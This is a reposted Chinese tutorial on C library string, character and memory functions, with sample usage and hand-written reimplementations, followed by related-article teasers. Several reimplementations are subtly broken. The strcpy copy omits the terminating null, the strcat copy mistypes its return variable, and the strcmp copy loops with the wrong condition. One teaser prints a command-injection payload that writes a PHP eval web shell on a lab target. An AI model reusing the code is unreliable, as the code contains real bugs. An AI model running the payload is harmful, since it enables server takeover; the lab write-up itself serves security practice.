部分库函数及其模拟

 前言:当我们学习c/c++库函数的时候,我们可以用网站

cplusplus.com - The C++ Resources Network

来进行查阅,学习。 

目录

库函数:

1.字符串函数

1.1求字符串长度

strlen

1.2长度不受限制的字符串函数

1.2.1strcpy

1.2.2strcat

1.2.3strcmp

1.3长度受限制的字符串函数介绍

1.3.1strncpy

1.3.2strncat

1.3.3strncmp

1.4字符串查找

1.4.1strstr

1.4.2strtok

1.5.错误信息报告

strerror

2.字符函数

1.字符分类函数

2.字符转换函数

3.内存函数


库函数:

1.字符串函数

字符串函数一般要用到头文件:<string.h> 

1.1求字符串长度

strlen

size_t strlen ( const char * str );

1.首先,字符串是以\0来结尾的,strlen返回的是字符串中" \0 "之前的元素个数,不包括 " \0 "

2.参数指向的字符必须以" \0 "来结尾

3.注意函数的返回值为size_t,是无符号的

使用

函数模拟:

1.计数器:

int my_strlen(char* str)
{int count = 0;while (*str){count++;str++;}return count;
}

2.不能使用计数器

int my_strlen(char* str)
{if (*str == '\0')return 0;else{return 1 + my_strlen(str + 1);}
}

3.指针

int my_strlen(char* str)
{char* p = str;while (*p != '\0'){p++;}return p - str;}

1.2长度不受限制的字符串函数

1.2.1strcpy
char * strcpy ( char * destination, const char * source );

1.源字符串必须以“\0”结尾

2.会将源字符串中的 '\0' 拷贝到目标空间

3.目标空间必须足够大,以确保能存放源字符串

4.目标空间必须可变

int main()
{char arr1[10] = "1234567";char arr2[20] = "0";printf("%s\n", arr2);strcpy(arr2, arr1);printf("%s\n",arr2);return 0;
}

模拟:

char* my_strcpy(char* destination, const char* source)
{assert(destination && source);char* ret = destination;while (*source){*destination = *source;destination++;source++;}return ret;
}

 因为我们的源地址,只是用来被拷贝,其指针指向的内容不能被改变,所以我们加上一个const修饰,而且,destination和source都不能是空指针,所以我们用assert断言一下。

 

1.2.2strcat
char * strcat ( char * destination, const char * source );

一个字符串从一个字符串的终止符号加上去

#include<stdio.h>
#include<string.h>int main()
{char arr[80] = { 0 };strcat(arr, " you ");strcat(arr, " are ");strcat(arr, " the ");strcat(arr, " best ");char arr1[20] = "ef";char arr2[] = "abcd";strcat(arr1,arr2);printf("%s\n" ,arr2);printf("%s\n", arr);return 0;
}

 我们来验证strcat是否是从目标字符串的终止符号(就是“\0”)来进行操作的

我们用上面的代码在vs2022上按快捷键f10,进行调试。

我们打开监视窗口,在窗口上输入arr1和arr2我们来进行观察

 

然后按下f10到14行位置,此时,arr1和arr2已经完成初始化。

 

我们的目标字符串是arr1,arr2是源字符串,此时我们按下f10

观察到arr1数组的第3个元素从" \0 "变成了字符‘ a ’,由此我们得以验证,strcat是从目标字符的终止字符“ \0 ”来进行操作的。

下面我们来模拟这个函数:

1.这个函数是用来把一个字符串放到另一个字符串的末尾

2.是从目标字符串的末尾来进行操作的

3.返回类型是目标字符串的起始地址

char* my_strcat(char* destination, const char* source)
{char ret = destination;while (*destination){destination++;}while ((*destination++ = *source++)){;}return ret;
}
1.2.3strcmp

int strcmp ( const char * str1, const char * str2 );

两个字符串进行比较,返回一个int类型的值

比较到出现另个字符不一样或者一个字符串结束或者n个字符全部比较完

如果出现第一个不一样的字符,第一个字符串的这个字符比第二个字符串的这个字符小就返回一个<0的数

如果出现第一个不一样的字符,第一个字符串的这个字符比第二个字符串的这个字符大就返回一个>0的数

如果比较结束都不一样就返回0;

int main()
{char arr1[] = "abcde";char arr2[] = "abcdf";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}


int main()
{char arr1[] = "abcde";char arr2[] = "abcde";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}

int main()
{char arr1[] = "abcdf";char arr2[] = "abcde";int ret = strcmp(arr1, arr2);printf("%d ", ret);return 0;
}

 

 我们下面来模拟这个函数

1.当两个字符串不同相同时,终止循环并进行比较

2.当2个字符串比完之后,终止循环并返回0

int my_strcmp(const char* str1, const char* str2)
{while ((*str1 == *str2) || *str1 != '\0'){str1++;str2++;}if (*str1 < *str2)return -1;else if(*str1 > *str2)return 1;else return 0;
}

1.3长度受限制的字符串函数介绍

1.3.1strncpy
char * strncpy ( char * destination, const char * source, size_t num );
拷贝 num 个字符从源字符串到目标空间。
如果源字符串的长度小于 num ,则拷贝完源字符串之后,在目标的后边追加 0 ,直到 num 个。

 

1.3.2strncat
char * strncat ( char * destination, const char * source, size_t num );

 

1.3.3strncmp
int strncmp ( const char * str1, const char * str2, size_t num );

 

1.4字符串查找

1.4.1strstr
const char * strstr ( const char * str1, const char * str2 );char * strstr (       char * str1, const char * str2 );

1.4.2strtok

char * strtok ( char * str, const char * delimiters );
sep 参数是个字符串,定义了用作分隔符的字符集合
第一个参数指定一个字符串,它包含了0 个或者多个由 sep 字符串中一个或者多个分隔符分割的标
记。
strtok 函数找到 str 中的下一个标记,并将其用
\0
结尾,返回一个指向这个标记的指针。(注: strtok函数会改变被操作的字符串,所以在使用 strtok 函数切分的字符串一般都是临时拷贝的内容并且可修改。)
strtok 函数的第一个参数不为 NULL ,函数将找到 str 中第一个标记, strtok 函数将保存它在字符串
中的位置。
strtok 函数的第一个参数为 NULL ,函数将在同一个字符串中被保存的位置开始,查找下一个标
记。
如果字符串中不存在更多的标记,则返回 NULL 指针。

1.5.错误信息报告

strerror

char * strerror ( int errnum );

返回错误码,所对应的错误信息。

 必须包含头文件#include<errno.h>

2.字符函数

1.字符分类函数

 函数如果他的参数符合以下条件就返回真
iscntrl
任何控制字符
isspace
空白字符:空格 ‘ ’ ,换页 ‘\f’ ,换行 '\n' ,回车 ‘\r’ ,制表符 '\t' 或者垂直制表符 '\v'
isdigit
十进制数字 0~9
isxdigit
十六进制数字,包括所有十进制数字,小写字母 a~f ,大写字母 A~F
islower
小写字母 a~z
isupper
大写字母 A~Z
isalpha
字母 a~z A~Z
isalnum
字母或者数字, a~z,A~Z,0~9
ispunct
标点符号,任何不属于数字或者字母的图形字符(可打印)
isgraph
任何图形字符
isprint
任何可打印字符,包括图形字符和空白字符

2.字符转换函数

 int tolower ( int c );

 int toupper ( int c );

#include<stdio.h>#include <ctype.h>
int main()
{int i = 0;char str[] = "Test String.\n";char c;while (str[i]){c = str[i];if (isupper(c))c = tolower(c);putchar(c);i++;}return 0;
}

3.内存函数

1.memcpy

void * memcpy ( void * destination, const void * source, size_t num );

这里我们发现,返回类型还有参数类型都是void*,这是为了方便接收任意指针,

函数memcpysource的位置开始向后复制num个字节的数据到destination的内存位置。这个函数在遇到 '\0' 的时候并不会停下来。如果sourcedestination有任何的重叠,复制的结果都是未定义的。

2.memmove

void * memmove ( void * destination, const void * source, size_t num );

3.memcmp

int memcmp ( const void * ptr1, const void * ptr2, size_t num );

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/878994.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

c中 int 和 unsigned int

c语言中&#xff0c;char、short、int、int64以及unsigned char、unsigned short、unsigned int、unsigned int64等等类型都可以表示整数。但是他们表示整数的位数不同&#xff0c;比如&#xff1a;char/unisigned char表示8位整数&#xff1b; short/unsigned short表示16位整…

CATIA P3 V5-6R2020下载安装教程,附软件包百度网盘分享下载链接地址

CATIA V5软件介绍 CATIA V5 是达索系统公司开发的 CAD/CAE/CAM 一体化软件&#xff0c;在多行业广泛应用。它源于航空航天业&#xff0c;也是汽车工业事实标准。其发展历经多个版本&#xff0c;V5 版本界面友好且功能强大。 特点包括强大功能&#xff0c;如先进建模技术可创建…

Linux Vim的 命令大全

Linux Vim的 命令大全 文章目录 Linux Vim的 命令大全[TOC](文章目录)Vim 的历史Vi 的诞生Vim 的诞生Vim 的开源与发展Vim 的影响力1.Vim 的基本模式2. 正常模式常用命令3. 插入模式4. 命令模式5. 可视模式6. 其他有用的命令7. 自定义设置下载 Vim 的历史 Vim 的历史可以追溯到…

SD三分钟入门!秋叶大佬24年8月最新的Stable Diffusion整合包V4.9.7来了~

1 什么是 Stable Diffusion&#xff1f; Stable Diffusion&#xff08;简称SD&#xff09;是一种生成式人工智能技术&#xff0c;于2022年推出。它主要用于根据文本描述生成精细图像&#xff0c;同时也可应用于其他任务&#xff0c;如图像修补、扩展&#xff0c;以及在文本提…

pycharm如何安装selenium

在pycharm中打开一个项目后,点击Setting(ALTCtrlS快捷键) 然后点击install package完成后点击关闭这个窗口,就可以在代码中使用selenium了 成功后出现如下界面 编写一段正常可以运行操作chorme浏览器的 from selenium import webdriver # 指定ChromeDriver的路径driver we…

SQL 编程基础

SQL&#xff08;结构化查询语言&#xff09;广泛应用于数据库操作&#xff0c;是每个程序员都需要掌握的技能之一。这篇文章将带你从基础入门&#xff0c;了解SQL编程中的常量、变量及流程控制语句。我们将采用简单易懂的语言&#xff0c;结合实际示例&#xff0c;帮助你轻松理…

骨传导耳机推荐排名,精选五款热门好用不踩雷推荐

近两年来&#xff0c;骨传导运动蓝牙耳机在运动领域内日益流行。与传统耳机相比&#xff0c;它的显著优势是能够保持双耳开放&#xff0c;不会堵塞耳道&#xff0c;消除了入耳式耳机可能引起的不适感。此外还能避免运动时耳内出汗可能导致的各种卫生和健康问题。很多人就问了&a…

Python 调用手机摄像头

Python 调用手机摄像头 在手机上安装软件 这里以安卓手机作为演示&#xff0c;ISO也是差不多的 软件下载地址 注意&#xff1a;要想在电脑上查看手机摄像头拍摄的内容的在一个局域网里面(没有 WIFI 可以使用 热点 ) 安装完打开IP摄像头服务器 点击分享查看IP 查看局域网的I…

谷粒商城のNginx

文章目录 前言一、Nginx1、安装Nginx2、相关配置2.1、配置host2.2、配置Nginx2.3、配置网关 前言 本篇重点介绍项目中的Nginx配置。 一、Nginx 1、安装Nginx 首先需要在本地虚拟机执行&#xff1a; mkdir -p /mydata/nginx/html /mydata/nginx/logs /mydata/nginx/conf在项目…

数学建模笔记——TOPSIS[优劣解距离]法

数学建模笔记——TOPSIS[优劣解距离法] TOPSIS(优劣解距离)法1. 基本概念2. 模型原理3. 基本步骤4. 典型例题4.1 矩阵正向化4.2 正向矩阵标准化4.3 计算得分并归一化4.4 python代码实现 TOPSIS(优劣解距离)法 1. 基本概念 C. L.Hwang和 K.Yoon于1981年首次提出 TOPSIS(Techni…

Windows操作系统sid系统唯一标识符查看和修改

1、sid介绍 sid 作为windows系统唯一的标识&#xff0c;对某些集群业务有依赖关系&#xff0c;如果重复可能导致集群部署异常。 如&#xff1a;域控AD 就依赖 sid 功能。 但是某个云主机或虚拟机使用同一个ghost进行操作系统部署&#xff0c;就可能会导致重复的情况&#xf…

为什么现在都流行开放式耳机?平价高品质蓝牙耳机推荐大赏

现在开放式耳机流行&#xff0c;是因为相比入耳式&#xff0c;它具有以下的优势&#xff1a; 一、佩戴舒适 开放式耳机通常设计轻盈&#xff0c;不直接刺激耳膜&#xff0c;长时间使用也不会给耳膜带来压迫感。而且其不入耳的设计不会堵塞耳道&#xff0c;使用较长时间后&…

Notepad++ 修改 About

1. 用这个工具&#xff0c;看标题&#xff0c;修改 1700 里的 Caption, 保存为 xx.exe, 2.修改链接&#xff0c;先准备如上。 2.1 使用插件 Hex Editor&#xff0c;拖入刚保存的 Notepad.exe 到 Notepad.exe, 按 c..S..H 2.2 按 ctrlf 查找 68 00 74 00 74 00 70 00 73 00 3…

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中&#xff0c; "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时&#xff0c;经常听到第一范式&#xff08;1NF&#xff09;、第二范式&#xff08;2NF&#xff09;、第三范式&#xff08;3NF&#xff09;以及 BCNF&#xff08;Boyce-…

线程的四种操作

所属专栏&#xff1a;Java学习 1. 线程的开启 start和run的区别&#xff1a; run&#xff1a;描述了线程要执行的任务&#xff0c;也可以称为线程的入口 start&#xff1a;调用系统函数&#xff0c;真正的在系统内核中创建线程&#xff08;创建PCB&#xff0c;加入到链…

利士策分享,从零开始创业:一场勇敢而精彩的旅程

利士策分享&#xff0c;从零开始创业&#xff1a;一场勇敢而精彩的旅程 附上可落地执行的策略&#xff1a; 在创业的征途中&#xff0c;理论固然重要&#xff0c;但可落地执行的策略才是推动我们前进的实际动力。 以下是一些具体且可操作的策略&#xff0c;希望可以帮助你从零…

vue通过html2canvas+jspdf生成PDF问题全解(水印,分页,截断,多页,黑屏,空白,附源码)

前端导出PDF的方法不多&#xff0c;常见的就是利用canvas画布渲染&#xff0c;再结合jspdf导出PDF文件&#xff0c;代码也不复杂&#xff0c;网上的代码基本都可以拿来即用。 如果不是特别追求完美的情况下&#xff0c;或者导出PDF内容单页的话&#xff0c;那么基本上也就满足业…

《数字信号处理》学习05-单位冲击响应与系统响应

目录 一&#xff0c;单位冲激响应 二&#xff0c;LTI系统对任意序列的系统响应 三&#xff0c;LTI系统的性质 通过上一篇文章《数字信号处理》学习04-离散时间系统中的线性时不变系统-CSDN博客的学习&#xff0c;我已经知道了离散时间线性时不变系统&#xff08;LTI&#x…

GQA (group query attention)

什么是GQA&#xff1f; 多个head的Query共用一组K和V。llama模型就用到该技术。 需要明确几点&#xff1a; 1.group有几组 2.每个group对应几个head 3.q以head为单位 k,v以group为单位 每个head/group特征维度都是head_dim 代码实现 import torch.nn as nn import torch …